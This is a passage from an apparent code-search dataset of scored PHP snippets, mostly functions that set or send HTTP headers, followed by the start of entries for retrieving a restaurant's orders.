);\n\t\t$this->po->set_header( 'Last-Translator', '' );\n\t\t$this->po->set_header( 'MIME-Version', '1.0' );\n\t}", "title": "" }, { "docid": "b5b442f9183dbe0cc223cfb19d9c2e19", "score": "0.66574764", "text": "private function set_headers()\n\t{\n\t\t$date = new DateTime(NULL, new DateTimeZone('UTC'));\n\t\t$this->ch_headers = array(\n\t\t\t'Date: ' . $date->format('D, d M Y H:i:s') . ' GMT', // RFC 1123\n\t\t\t'Accept: application/json;q=1.0, application/xml;q=0.5, */*;q=0.0',\n\t\t\t'Accept-Charset: utf-8',\n\t\t\t'Accept-Encoding: gzip'\n\t\t);\n\t}", "title": "" }, { "docid": "0a96bd51efbf3c6169d319bbd61a7a68", "score": "0.66547465", "text": "public function setHeaders(array $headers);", "title": "" }, { "docid": "0a96bd51efbf3c6169d319bbd61a7a68", "score": "0.66547465", "text": "public function setHeaders(array $headers);", "title": "" }, { "docid": "b2f0cbb1bed64503da2dade207323a51", "score": "0.66532844", "text": "function setHeader($key, $value)\n {\n $this->_reset_status();\n $key = strtolower($key);\n $this->headers[$key] = $value;\n }", "title": "" }, { "docid": "55d1f43634fa195e06fc9967f44f8480", "score": "0.6614433", "text": "public function setHeader($name, $value);", "title": "" }, { "docid": "4413c338e2e1c0f08f44928bbee4ce69", "score": "0.65852165", "text": "public function setHeaders($headers) {\n\t\tcurl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers);\n\t}", "title": "" }, { "docid": "6ae583350f7b234acbeb81472e918439", "score": "0.65504897", "text": "public function setHeaders ($headers) {\r\n $this->headers = $headers;\r\n }", "title": "" }, { "docid": "238ba9501a897fba7b683cfadf46b7d3", "score": "0.6545464", "text": "public function setHeaders(array $headers = []);", "title": "" }, { "docid": "ffdd2d214ad2a188b8c0cbae18a5eaeb", "score": "0.6450298", "text": "public function setHeaders($headers)\n {\n foreach ($headers as $key => $value) {\n $this->headers[$key] = $value;\n }\n $this->updateHeaders();\n }", "title": "" }, { "docid": "b0f4b39fc01f831057122a27175096aa", "score": "0.6448107", "text": "function set_header($header) {\n $this->header = $header;\n }", "title": "" }, { "docid": "4a09b39684d0cc3435c1f472a37dc21a", "score": "0.64456904", "text": "public function setHeaders($headers)\n {\n foreach ($headers as $name => $val) {\n $this->setHeader($name, $val);\n }\n }", "title": "" }, { "docid": "f834b2bd9323c0db2ed14a6109f5affa", "score": "0.64113784", "text": "public function setHeaders($headers)\n {\n parent::setHeaders($headers);\n\n $this->getVersion();\n }", "title": "" }, { "docid": "7f2b85a18827c97cdd1d8d1749732fe9", "score": "0.6393633", "text": "public function setHeaders( array $headers )\r\n {\r\n foreach ( $headers as $key => $value )\r\n {\r\n $this->headers[$key] = $value;\r\n }\r\n }", "title": "" }, { "docid": "cb87ceb128fd7a4c928991e4f0e80d27", "score": "0.63808876", "text": "protected function set_headers()\n\t{\n\t\tif ($this->custom_dynamic === false) {\n\t\t\t$headers = $this->api_def->getResourceByUri($this->raml_route)->getMethod($this->method)->getHeaders();\n\t\t} else {\n\t\t\t$headers = array();\n\t\t}\n\t\n\t\t// If we have an error or unusable data, then fail.\n\t\tif (!is_array($header_array = static::validate_params($headers, 'headers'))) {\n\t\t\treturn false;\n\t\t}\n\t\n\t\t// Security calls may add header entries.\n\t\t$this->headers = array_merge($header_array, $this->headers);\n\t}", "title": "" }, { "docid": "85109df8da1644e18dd2ea3656d64cdb", "score": "0.6378187", "text": "private function send_http_headers()\n\t{\n\t\t// grab options\n\t\t$opt = $this->opt;\n\n\t\t// grab content type from options\n\t\tif (isset($opt['content_type']))\n\t\t{\n\t\t\t$content_type = $opt['content_type'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$content_type = 'application/x-zip';\n\t\t}\n\n\t\t// grab content type encoding from options and append to the content type option\n\t\tif (isset($opt['content_type_encoding']))\n\t\t{\n\t\t\t$content_type .= '; charset=' . $opt['content_type_encoding'];\n\t\t}\n\n\t\t// grab content disposition\n\t\t$disposition = 'attachment';\n\t\tif (isset($opt['content_disposition']))\n\t\t{\n\t\t\t$disposition = $opt['content_disposition'];\n\t\t}\n\n\t\tif ($this->output_name)\n\t\t{\n\t\t\t$disposition .= \"; filename=\\\"{$this->output_name}\\\"\";\n\t\t}\n\n\t\t$headers = array(\n\t\t\t'Content-Type' => $content_type,\n\t\t\t'Content-Disposition' => $disposition,\n\t\t\t'Pragma' => 'public',\n\t\t\t'Cache-Control' => 'public, must-revalidate',\n\t\t\t'Content-Transfer-Encoding' => 'binary',\n\t\t);\n\n\t\tforeach ($headers as $key => $val)\n\t\t{\n\t\t\theader(\"$key: $val\");\n\t\t}\n\t}", "title": "" }, { "docid": "aa98fe07b8990e05c6c69e337d5cc4d9", "score": "0.6374548", "text": "private function crearHeader() {\n $fileSize = $this->bytesToString($this->toUint32(strlen($this->fileContents) + 4));\n $this->fileHeader = \"RIFF\" . $fileSize . \"WEBP\";\n }", "title": "" }, { "docid": "5ef84ca452c131be99a9c128477b18c5", "score": "0.63685733", "text": "public function setRequestHeader($key, $value) {\n\t\t$this->requestHeaders[$key] = $value;\n\t}", "title": "" }, { "docid": "882a5966a6b1653a8d70cbd07682c2d3", "score": "0.6361755", "text": "public function setHeaders($filename = 'download')\n\t{\n\t\t$app = Factory::getApplication();\n\t\t$app->setHeader('Content-Type', 'application/csv; charset=utf-8', true);\n\t\t$app->setHeader('Content-Disposition', 'attachment; filename=\"'.$filename.'.csv\"', true);\n\t\t$app->setHeader('Content-Transfer-Encoding', 'binary', true);\n\t\t$app->setHeader('Expires', '0', true);\n\t\t$app->setHeader('Pragma','no-cache',true);\n\t}", "title": "" }, { "docid": "0e59331a033fddcc99133eb0d5681b89", "score": "0.63455796", "text": "public function setHeaders($headers)\n {\n $this->headers = $headers;\n }", "title": "" }, { "docid": "edc43f483a9bbd614d50c84064db0f5b", "score": "0.6341738", "text": "function setCSVHeaders(&$response, $fileName) {\n $response->headers->set(\"Pragma\", \"public\");\n $response->headers->set(\"Expires\", \"0\");\n $response->headers->set(\"Cache-Control\", \"must-revalidate, post-check=0, pre-check=0\");\n $response->headers->set(\"Cache-Control\", \"private\", false);\n $response->headers->set(\"Content-Type\", \"application/octet-stream\");\n $response->headers->set(\"Content-Disposition\", \"attachment; filename=\\\"$fileName\\\";\");\n $response->headers->set(\"Content-Transfer-Encoding\", \"binary\");\n }", "title": "" }, { "docid": "4a00cde306622ccb3f33022e71256018", "score": "0.634071", "text": "protected function LoadHeaders()\n\t{\n\t\tif (isset($this->params['opml']) && ($this->params['opml'] === true)) {\n\t\t\t$this->headers[] = \"Content-type: text/xml; charset=UTF-8\";\n\t\t\tGitPHP_Log::GetInstance()->SetEnabled(false);\n\t\t} else if (isset($this->params['txt']) && ($this->params['txt'] === true)) {\n\t\t\t$this->headers[] = \"Content-type: text/plain; charset=utf-8\";\n\t\t\t$this->headers[] = \"Content-Disposition: inline; filename=\\\"index.aux\\\"\";\n\t\t\tGitPHP_Log::GetInstance()->SetEnabled(false);\n\t\t}\n\t}", "title": "" }, { "docid": "67b360c7330ae0e1a520c75848c512de", "score": "0.6330762", "text": "private function setHeader(string $key, $value)\n {\n $this->headers[$key] = $value;\n }", "title": "" }, { "docid": "fabe210b6a126962f679229d367d0142", "score": "0.63198435", "text": "private function set_headers() {\n\t\t\t$this->args['headers'] = array(\n\t\t\t\t'Accept' => '*/*',\n\t\t\t\t'Content-Type' => 'application/x-www-form-urlencoded',\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "f02ae9a870973c6a79ae43e218c12532", "score": "0.63096744", "text": "protected function setAdditionalHttpHeaders()\n {\n header('Vary: User-Agent');\n }", "title": "" }, { "docid": "5a32891f54ac87237b82a65eb66f1224", "score": "0.62799114", "text": "public function setHeaders($headers)\r\n {\r\n $this->clearHeaders();\r\n foreach ($headers as $header) {\r\n $this->addHeader($header);\r\n }\r\n }", "title": "" }, { "docid": "35146f9034a962b4cc0e895b4ac9caf0", "score": "0.62795013", "text": "protected function setHeaders($headers) {\n\t\t$this->getClient()->setHeaders($headers);\n\t}", "title": "" }, { "docid": "a4a1b6e4d55136c6a6a6c39b21d21456", "score": "0.6261621", "text": "private function setHttpRequestHeaders()\n {\n $this->_httpClient = new Client([\n 'base_uri' => $this->_constants->baseUrl,\n 'headers' => [\n 'Content-Type' => 'application/json',\n 'Accept' => 'application/json',\n 'X-ApiAuth-ApiKey' => $this->_authCredential['apikey'],\n 'X-Date' => date('Y-m-d\\TH:i:sP'),\n 'X-Correlation-ID' => time(),\n 'Authorization' => 'Bearer ' . $this->_bearerToken\n ]\n ]);\n }", "title": "" }, { "docid": "c490b218fe89b29c9bfff5dee65ff6df", "score": "0.6257239", "text": "public function setHeaders( $headers )\n\t{\n\t\t$this->setAttribute( \"headers\", $headers );\n\t}", "title": "" }, { "docid": "8bfe942879ca79996cb40498f6a6b169", "score": "0.62507105", "text": "public function setHeader($header, $value);", "title": "" }, { "docid": "90ebd21b873a05c98b35b80787818d52", "score": "0.6238427", "text": "public function setHeaders ($headers) {\n foreach ($headers as $name => $content) $this->header($name, $content);\n return $this;\n }", "title": "" }, { "docid": "2f81c412d758a906d7e74431d6267ab7", "score": "0.6227269", "text": "public function setHeaders(array $headers)\n {\n curl_setopt($this->curl, CURLOPT_HTTPHEADER, $headers);\n }", "title": "" }, { "docid": "13bac51fad8823c2c7a7c783cae5e9f8", "score": "0.6226389", "text": "protected function setHeader($key, $value) {\n header($key . ': ' . $value);\n }", "title": "" }, { "docid": "6fb7c9adda2ad2bdd75c7d1a48580cca", "score": "0.6226255", "text": "public function setHeader($key, $value)\n {\n $this->headers[$key] = $value;\n $this->updateHeaders();\n }", "title": "" }, { "docid": "6ee737a37c332f20184636a49efead29", "score": "0.62204945", "text": "protected function setResponseHeaders(array $headers = [])\n {\n foreach ($headers as $header) {\n if (($pos = strpos($header, ':')) !== false) {\n $title = substr($header, 0, $pos);\n $value = substr($header, $pos + 1);\n\n $this->response->setHeader($title, $value);\n } elseif (strpos($header, 'HTTP') === 0) {\n preg_match('#^HTTP\\/([12](?:\\.[01])?) (\\d+) (.+)#', $header, $matches);\n\n if (isset($matches[1])) {\n $this->response->setProtocolVersion($matches[1]);\n }\n\n if (isset($matches[2])) {\n $this->response->setStatusCode((int) $matches[2], $matches[3] ?? null);\n }\n }\n }\n }", "title": "" }, { "docid": "5fc77ab533708775d2f57dfe754c5090", "score": "0.6215419", "text": "public function set_headers( $headers ) {\n\t\tif ( ! is_array( $headers ) ) {\n\t\t\t// Just transform it into an array\n\t\t\t$headers = [ $headers ];\n\t\t}\n\t\tcurl_setopt( $this->handler, CURLOPT_HTTPHEADER, $headers );\n\t\t$this->object['headers'] = $headers;\n\n\t}", "title": "" }, { "docid": "d423a21723e617ba2c58f22907a87a04", "score": "0.6204986", "text": "final public function setHeader(string $name, $key): void\n {\n $this->headers[$name] = $key;\n }", "title": "" }, { "docid": "ad678b69bd13d9a3d01cc1a1abf8f998", "score": "0.62007105", "text": "public function setHeaders($headers) {\n return $this->command('set_headers', $headers);\n }", "title": "" }, { "docid": "466b591e1137ec535ac5ffdd096fafcd", "score": "0.6195172", "text": "public function setHeader($key, $value)\n {\n $this->headers[$key] = $value ? \"{$key}: {$value}\" : $value;\n }", "title": "" }, { "docid": "f3f57c14d7db2023075fb58e808cdd35", "score": "0.61894417", "text": "private function setRequestHeaders()\n {\n $authBearer = 'Bearer '. $this->secretKey;\n\n $this->client = new Client(\n [\n 'base_uri' => $this->baseUrl,\n 'headers' => [\n 'Authorization' => $authBearer,\n 'Content-Type' => 'application/json',\n 'Accept' => 'application/json'\n ]\n ]\n );\n }", "title": "" }, { "docid": "a30325f4c872613b47e6f44ad53f82c5", "score": "0.61655533", "text": "function addHeaders(array $headers);", "title": "" }, { "docid": "41dc9f7a893e7155c296018d93734b17", "score": "0.6160585", "text": "public static function headers();", "title": "" }, { "docid": "7d295b6ecc4786d1d639691f39a00abb", "score": "0.6150665", "text": "public function setHeaders(array $headers)\n\t{\n\t\t$this->headers = array_merge($this->headers, $headers);\n\t}", "title": "" }, { "docid": "034f7a8dd22e9652b37541462b7c064f", "score": "0.615054", "text": "public function setHeader( $name, $value )\r\n {\r\n $this->headers[$name] = $value;\r\n }", "title": "" }, { "docid": "a73f5c8c8f487edc07f66b41d1093aa2", "score": "0.61374766", "text": "protected function _setHeaders($bytes, $filename, Zend_Controller_Response_Abstract $response) {\n // fix for IE catching or PHP bug issue\n $response->setHeader('Pragma', 'public');\n // set expiration time\n $response->setHeader('Expires', '0');\n // browser must download file from server instead of cache\n $response->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');\n\n // force download dialog\n $response->setHeader('Content-Type', 'application/octet-stream');\n\n // use the Content-Disposition header to supply a recommended filename and\n // force the browser to display the save dialog.\n $response->setHeader(\n 'Content-Disposition',\n 'attachment; filename=\"' . basename($filename) . '\"'\n );\n\n /*\n The Content-transfer-encoding header should be binary, since the file will be read\n directly from the disk and the raw bytes passed to the downloading computer.\n The Content-length header is useful to set for downloads. The browser will be able to\n show a progress meter as a file downloads. The content-length can be determined by\n filesize function returns the size of a file.\n */\n $response->setHeader('Content-Transfer-Encoding', 'binary');\n $response->setHeader('Content-Length', strlen($bytes));\n }", "title": "" }, { "docid": "0f12a54e5522821934f6e796b30752de", "score": "0.6123488", "text": "public function setHeaders(array $headers)\n\t{\n\t\t$this->headers = $headers;\n\t}", "title": "" }, { "docid": "2a5aa5f73ef6858bc9675bbb0b8ba704", "score": "0.6119541", "text": "private function insertHeaders(){\n foreach($this->headers AS $h=>$v){\n if(is_string($h)){\n header(\"$h: $v\");\n } else {\n header($v);\n }\n }\n }", "title": "" }, { "docid": "0273a1fe3eec6061a8896e936e19f036", "score": "0.6114851", "text": "private function setHeaders(array $headers) {\n $this->headers = $headers;\n }", "title": "" }, { "docid": "268322631583af81451f2a185ac75a5d", "score": "0.6113262", "text": "public function setHeader(string $header, $value);", "title": "" }, { "docid": "3363d92509b77cbef3f8f6fd3e6fe8ae", "score": "0.61121505", "text": "public function alterHeader( )\n {\n if(!$this->server) return;\n \n $url_parts = parse_url( $this->url ); //bring back handy array\n \n //Is there a query string?\n $path = \"\";\n if( array_key_exists('query', $url_parts) )\n {\n $path = $url_parts['path'] . \"?\" . $url_parts['query'];\n }\n \n //Specify the host (name) we want to fetch...\n $this->setHeaderOption( \"Host\", $url_parts['host'] );\n \n //re-create the url with \n $url = $url_parts['scheme'].\"://\". $this->server . $url_parts['path'] ;\n $this->setUrl( $url );\n }", "title": "" }, { "docid": "53bc61614c0336af6372228c392bbc9f", "score": "0.61076754", "text": "public function setHeaders($headers = Array())\n {\n $this->headers = is_array($headers) ? $headers : Array();\n }", "title": "" }, { "docid": "3193d987e074474ff53948663cb61cab", "score": "0.61073977", "text": "public function SetHeaderValue($key, $value) {\n $this->requestHeaderElements[$key] = $value;\n }", "title": "" }, { "docid": "5d63039d27c69e4d06d492fa081cde35", "score": "0.6091975", "text": "public function sendHeaders()\n {\n $file = $line = null;\n if (headers_sent($file, $line)) {\n Log::warning(\"Headers already sent in {$file}:{$line}\");\n\n return;\n }\n\n $codeMessage = $this->_statusCodes[$this->_status];\n $this->_setCookies();\n $this->_sendHeader(\"{$this->_protocol} {$this->_status} {$codeMessage}\");\n $this->_setContentType();\n\n foreach ($this->headers as $header => $values) {\n foreach ((array)$values as $value) {\n $this->_sendHeader($header, $value);\n }\n }\n }", "title": "" }, { "docid": "e49431202e1dfe6462333242a4c9b1dd", "score": "0.6091102", "text": "public function setHeader($name, $value) {\n\n $this->headers[$name] = $value;\n\n }", "title": "" }, { "docid": "ff0cb49404d22cc6d052a652fc80cdc6", "score": "0.6080306", "text": "public function setRequestHeader($name, $value) {\n $header = array();\n $header[$name] = $value;\n //TODO: as a limitation of the driver it self, we will send permanent for the moment\n $this->browser->addHeader($header, true);\n }", "title": "" }, { "docid": "2aab11d7d7e8c935da275fd4e974704f", "score": "0.6077015", "text": "public function setHeaders( array $headers )\n {\n foreach ( $headers as $key => $value )\n {\n if ( is_array( $value ) )\n {\n $this->headers[$key] = $value[0];\n $charset = isset( $value[1] ) ? $value[1] : 'us-ascii';\n $this->setHeaderCharset( $key, $charset );\n }\n else\n {\n $this->headers[$key] = $value;\n $this->setHeaderCharset( $key );\n }\n }\n }", "title": "" }, { "docid": "430eb34dd86baa20dc23545463179866", "score": "0.6077002", "text": "public function setHeaders(array $headers)\n {\n\n }", "title": "" }, { "docid": "6e32812b75bc803207d42964a0afa898", "score": "0.6076203", "text": "public function setHeaderAttr($attr) {\n\t\t$this->_headerAttr = $attr;\n\t}", "title": "" }, { "docid": "fa6436d1887ad18197593759fcb2b24c", "score": "0.60736555", "text": "public function setHeader($name, $value)\n {\n $this->headers[$name] = $value;\n }", "title": "" }, { "docid": "97a793eed646ca25568a3ec6bf856080", "score": "0.60697865", "text": "public function setResponseHeaders($responseHeader)\n {\n $this->responseHeaders = $responseHeader;\n }", "title": "" }, { "docid": "1878e52af46ca64265078ac5b8e6ef09", "score": "0.60618055", "text": "public function setHeaders(array $headers)\n {\n $this->headers = $headers;\n }", "title": "" }, { "docid": "6dc8b7a0137e0be137063988b4b1e91c", "score": "0.6049771", "text": "public function setExtraHTTPHeaders(ContextInterface $ctx, SetExtraHTTPHeadersRequest $request): void;", "title": "" }, { "docid": "a6949f0572fa8f759374ee6866492c85", "score": "0.60442203", "text": "public function setHeaders(array $headers)\n {\n foreach ($headers as $name => $value) {\n $this->setHeader($name, $value);\n }\n }", "title": "" }, { "docid": "c35db64a28d9ab2f5f09342d2e8a8f4c", "score": "0.603821", "text": "protected function sendHttpHeaders() {\n http_response_code($this->httpResponseCode);\n foreach ($this->httpHeaders as $k => $v) {\n if ($v) {\n header(\"{$k}: {$v}\");\n } else {\n header($k);\n }\n }\n }", "title": "" }, { "docid": "fa9710e25c9dd188f5c9262aaadf068d", "score": "0.6033335", "text": "public function addHeaders($headers);", "title": "" }, { "docid": "92ca12e3a1879e19847516cc9ee2332b", "score": "0.6025862", "text": "protected function initHeaders() {\n if ($this->send_header) {\n // setup the default headers\n header($this->setHeader());\n\n // setup other headers\n if (!empty($this->headers)) {\n foreach ($this->headers as $name => $value) {\n header(\"$name: $value\");\n }\n }\n } else {\n // remove headers\n header_remove();\n }\n }", "title": "" }, { "docid": "abf9feeb68b27a21534612ce26da6da3", "score": "0.6024007", "text": "public function headers(array $headers = [])\n {\n foreach ($headers as $key => $value) {\n $this->headers[$key] = $value;\n }\n }", "title": "" }, { "docid": "15cef1960ae50f5fd0854ca4f9fc8e16", "score": "0.6014412", "text": "public function set_header($header_name, $header_value)\n\t{\n\t\t$this->headers[$header_name] = $header_value;\n\t}", "title": "" }, { "docid": "821e774ed93a0a9af12ef368a4c9b792", "score": "0.6007165", "text": "private function updateHeader()\n {\n foreach (array_keys($this->headers) as $key) {\n header_remove($key);\n header($key . \":\" . $this->headers[$key]);\n }\n }", "title": "" }, { "docid": "6872c86edb8df325938622bddc19d972", "score": "0.60006154", "text": "public function addHeader( $key, $value );", "title": "" }, { "docid": "d51973c1c69c8d9b91811c1e1150d275", "score": "0.5997155", "text": "public function setHeaders($additional_headers = array())\n {\n $this->request->client->setHeaders($additional_headers);\n }", "title": "" }, { "docid": "97d91a0c044358c073da3fe7e1ebae9a", "score": "0.5994092", "text": "public function set_header($header) {\n $this->headers[] = $header;\n }", "title": "" }, { "docid": "4d4721be59b64465fa4c44db201740d6", "score": "0.59771067", "text": "public function setHeaders(array $headers) {\n\n $this->headers = $headers;\n\n }", "title": "" }, { "docid": "dfa212acc710c1b8a939e159012c3987", "score": "0.59736806", "text": "public function setHttpHeader($header, $value) {\r\n\t\t$this->_httpHeaders[$header] = $value;\r\n\t}", "title": "" }, { "docid": "ba7e667f809f5081fb236c9b4fa751ac", "score": "0.5972821", "text": "public function makeHeaders() {\n if (isset($this->headers)) {\n foreach ($this->headers as $name => $value) {\n header($name . ': ' . $value);\n }\n }\n }", "title": "" }, { "docid": "7d7ccf8d0bc5b0a1e7c9ae20f79ff546", "score": "0.5970202", "text": "function setHeaders($headers) {\n\t\t\t$this->headers = $headers;\n\t\t\treturn $this;\n\t\t}", "title": "" }, { "docid": "b8207a91327fe47758042ec2c315bba8", "score": "0.5965734", "text": "private function sendHeaders(){\n //STATUS\n http_response_code($this->httpCode);\n\n //ENVIAR HEADERS\n foreach ($this->headers as $key => $value) {\n header($key.': '.$value);\n }\n }", "title": "" }, { "docid": "0245f9c5366d110fc9e8c2a220be32f7", "score": "0.5958519", "text": "public function setHeaders(array $values)\n {\n foreach ($values as $key => $value) {\n $this->setHeader($key, $value);\n }\n }", "title": "" }, { "docid": "85c6887708ae1f132c3a98d3c8ed04a0", "score": "0.5947662", "text": "public function set_file_info($http_header=array(), $path=null, $name=null, $metadata=array()){\n\t\t$this->name = $name;\n\t\t$this->path = $path == null ? $this->default_path : $path;\n\t\t$this->http_header = $http_header;\n\t\t$this->metadata = array_merge($this->default_metadata, $metadata);\n\t}", "title": "" }, { "docid": "90ecb5f31a9d61abc538ffd5527de8df", "score": "0.5944536", "text": "public function setHeaders($headers) {\n\t\tif (is_array($headers)) {\n\t\t\t$this->headers = $headers;\n\t\t}\n\t}", "title": "" }, { "docid": "12fb8f1264dc1005f351a555fcfa8835", "score": "0.593604", "text": "private function setHeadersFromServer()\n {\n $server = $_SERVER;\n $contentHeaders = array('CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true);\n foreach ($server as $key => $value) {\n if (0 === strpos($key, 'HTTP_')) {\n $this->headers[substr($key, 5)] = $value;\n }\n // CONTENT_* are not prefixed with HTTP_\n elseif (isset($contentHeaders[$key])) {\n $this->headers[$key] = $value;\n }\n }\n\n if (isset($server['PHP_AUTH_USER'])) {\n $this->headers['PHP_AUTH_USER'] = $server['PHP_AUTH_USER'];\n $this->headers['PHP_AUTH_PW'] = isset($server['PHP_AUTH_PW']) ? $server['PHP_AUTH_PW'] : '';\n } else {\n /*\n * php-cgi under Apache does not pass HTTP Basic user/pass to PHP by default\n * For this workaround to work, add these lines to your .htaccess file:\n * RewriteCond %{HTTP:Authorization} ^(.+)$\n * RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n *\n * A sample .htaccess file:\n * RewriteEngine On\n * RewriteCond %{HTTP:Authorization} ^(.+)$\n * RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n * RewriteCond %{REQUEST_FILENAME} !-f\n * RewriteRule ^(.*)$ app.php [QSA,L]\n */\n\n $authorizationHeader = null;\n if (isset($server['HTTP_AUTHORIZATION'])) {\n $authorizationHeader = $server['HTTP_AUTHORIZATION'];\n } elseif (isset($server['REDIRECT_HTTP_AUTHORIZATION'])) {\n $authorizationHeader = $server['REDIRECT_HTTP_AUTHORIZATION'];\n }\n\n if (null !== $authorizationHeader) {\n if (0 === stripos($authorizationHeader, 'basic ')) {\n // Decode AUTHORIZATION header into PHP_AUTH_USER and PHP_AUTH_PW when authorization header is basic\n $exploded = explode(':', base64_decode(substr($authorizationHeader, 6)), 2);\n if (count($exploded) == 2) {\n list($this->headers['PHP_AUTH_USER'], $this->headers['PHP_AUTH_PW']) = $exploded;\n }\n } elseif (empty($server['PHP_AUTH_DIGEST']) && (0 === stripos($authorizationHeader, 'digest '))) {\n // In some circumstances PHP_AUTH_DIGEST needs to be set\n $this->headers['PHP_AUTH_DIGEST'] = $authorizationHeader;\n $server['PHP_AUTH_DIGEST'] = $authorizationHeader;\n } elseif (0 === stripos($authorizationHeader, 'bearer ')) {\n /*\n * XXX: Since there is no PHP_AUTH_BEARER in PHP predefined variables,\n * I'll just set $this->headers['AUTHORIZATION'] here.\n * http://php.net/manual/en/reserved.variables.server.php\n */\n $this->headers['AUTHORIZATION'] = $authorizationHeader;\n }\n }\n }\n\n if (isset($this->headers['AUTHORIZATION'])) {\n return $this->headers;\n }\n\n // PHP_AUTH_USER/PHP_AUTH_PW\n if (isset($this->headers['PHP_AUTH_USER'])) {\n $this->headers['AUTHORIZATION'] = 'Basic '.base64_encode($this->headers['PHP_AUTH_USER'].':'.$this->headers['PHP_AUTH_PW']);\n } elseif (isset($this->headers['PHP_AUTH_DIGEST'])) {\n $this->headers['AUTHORIZATION'] = $this->headers['PHP_AUTH_DIGEST'];\n }\n }", "title": "" }, { "docid": "2a21df189c9df511919877d0056b9400", "score": "0.5934917", "text": "public function setHeader($header) {\n\t\tif($this->isSocket) return;\n\t\t$http = array (\n\t\t\t100 => 'HTTP/1.1 100 Continue',\n\t\t\t101 => 'HTTP/1.1 101 Switching Protocols',\n\t\t\t200 => 'HTTP/1.1 200 OK',\n\t\t\t201 => 'HTTP/1.1 201 Created',\n\t\t\t202 => 'HTTP/1.1 202 Accepted',\n\t\t\t203 => 'HTTP/1.1 203 Non-Authoritative Information',\n\t\t\t204 => 'HTTP/1.1 204 No Content',\n\t\t\t205 => 'HTTP/1.1 205 Reset Content',\n\t\t\t206 => 'HTTP/1.1 206 Partial Content',\n\t\t\t300 => 'HTTP/1.1 300 Multiple Choices',\n\t\t\t301 => 'HTTP/1.1 301 Moved Permanently',\n\t\t\t302 => 'HTTP/1.1 302 Found',\n\t\t\t303 => 'HTTP/1.1 303 See Other',\n\t\t\t304 => 'HTTP/1.1 304 Not Modified',\n\t\t\t305 => 'HTTP/1.1 305 Use Proxy',\n\t\t\t307 => 'HTTP/1.1 307 Temporary Redirect',\n\t\t\t400 => 'HTTP/1.1 400 Bad Request',\n\t\t\t401 => 'HTTP/1.1 401 Unauthorized',\n\t\t\t402 => 'HTTP/1.1 402 Payment Required',\n\t\t\t403 => 'HTTP/1.1 403 Forbidden',\n\t\t\t404 => 'HTTP/1.1 404 Not Found',\n\t\t\t405 => 'HTTP/1.1 405 Method Not Allowed',\n\t\t\t406 => 'HTTP/1.1 406 Not Acceptable',\n\t\t\t407 => 'HTTP/1.1 407 Proxy Authentication Required',\n\t\t\t408 => 'HTTP/1.1 408 Request Time-out',\n\t\t\t409 => 'HTTP/1.1 409 Conflict',\n\t\t\t410 => 'HTTP/1.1 410 Gone',\n\t\t\t411 => 'HTTP/1.1 411 Length Required',\n\t\t\t412 => 'HTTP/1.1 412 Precondition Failed',\n\t\t\t413 => 'HTTP/1.1 413 Request Entity Too Large',\n\t\t\t414 => 'HTTP/1.1 414 Request-URI Too Large',\n\t\t\t415 => 'HTTP/1.1 415 Unsupported Media Type',\n\t\t\t416 => 'HTTP/1.1 416 Requested range not satisfiable',\n\t\t\t417 => 'HTTP/1.1 417 Expectation Failed',\n\t\t\t500 => 'HTTP/1.1 500 Internal Server Error',\n\t\t\t501 => 'HTTP/1.1 501 Not Implemented',\n\t\t\t502 => 'HTTP/1.1 502 Bad Gateway',\n\t\t\t503 => 'HTTP/1.1 503 Service Unavailable',\n\t\t\t504 => 'HTTP/1.1 504 Gateway Time-out',\n\t\t\t'html' => 'Content-type: text/html; charset=utf-8',\n\t\t\t'json' => 'Content-type: application/json; charset=utf-8',\n\t\t\t'xml' => 'Content-type: application/xml; charset=utf-8'\n\t\t);\n\t\theader($http[$header]);\n\t}", "title": "" }, { "docid": "62fdeae71ce4dedee4f61773c87635e8", "score": "0.5934857", "text": "public function setRequestFile($file);", "title": "" }, { "docid": "b0affc667ade0a93b28bd8bcb63c1852", "score": "0.59286505", "text": "public function setHeader(string $name, $value): HttpResponseInterface;", "title": "" }, { "docid": "3ff8d16f43259a7f049abbd4101dd35b", "score": "0.5928636", "text": "public function setHeader($name, $value)\n {\n $name = $this->normalizeHeaderName($name);\n $this->headers[$name] = $value;\n }", "title": "" } ]
2344b4bec2559e22ef1f05085017815e
return all orders for restaurant
[ { "docid": "a044d308e2a12d9a0065f175d235fec5", "score": "0.70679563", "text": "public function get_orders_for_restaurant($r_id){\n $dbs = new DatabaseControls();\n $qry = \"select * from \".$this->table_name.\",customer where orders.r_id = \".$r_id.\" and orders.c_id = customer.c_id order by o_id desc\";\n $result = $dbs->run_multi_data_select_qry($qry);\n return $result;\n }", "title": "" } ]
[ { "docid": "6f9d22fbc01d346fcbe2f7ffa2c9ceae", "score": "0.7379746", "text": "public function getAllOrders() {\n return $this->get('get_all_orders');\n }", "title": "" }, { "docid": "9409d7142250d09c47c80045cbe80edb", "score": "0.73535794", "text": "function allOrders()\n\t{\n\t\t// take the last order id\n\t\t$offset = $this->input->get('offset') ? $this->input->get('offset') : 0;\n\t\t// fetch 10 order from server\n\t\t$perpage = 10;\n\t\t// take search parameters\n\t\t$query['search'] = $this->input->get('search');\n\t\t$query['restaurant_id'] = $this->input->get('restaurant_id');\n\n\t\t// response object\n\t\t$jsonData = array('success' => false, 'data' => array(), 'links' => '');\n\n\t\t// total rows in orders table according to search query\n\t\t$total_rows = $this->order_model->fetch_total_order_rows($query);\n\t\t// fetch 10 orders start from 'offset' where query\n\t\t$orders = $this->order_model->fetch_all_orders($perpage, $offset, $query);\n\t\t// config data to create pagination\n\t\t$obj = array(\n\t\t\t'base_url' => base_url().'orders/all/',\n\t\t\t'per_page' => $perpage,\n\t\t\t'uri_segment' => 2,\n\t\t\t'total_rows' => $total_rows\n\t\t);\n\t\t/**\n\t\t * if orders is not empty\n\t\t * @response object\n\t\t * \t success => everything all right\n\t\t * data => order list\n\t\t * \t links => pagination links\n\t\t */\n\t\tif (count($orders) > 0) {\n\t\t\t$jsonData['success'] = true;\n\t\t\t$jsonData['data'] = $orders;\n\t\t\t$jsonData['links'] = $this->custom->paginate($obj);\n\t\t}\n\t\t// response send\n\t\techo json_encode($jsonData);\n\t}", "title": "" }, { "docid": "cc9a00e81051bbf9d0b0a0e1e31fae9c", "score": "0.73186624", "text": "public function getOrders();", "title": "" }, { "docid": 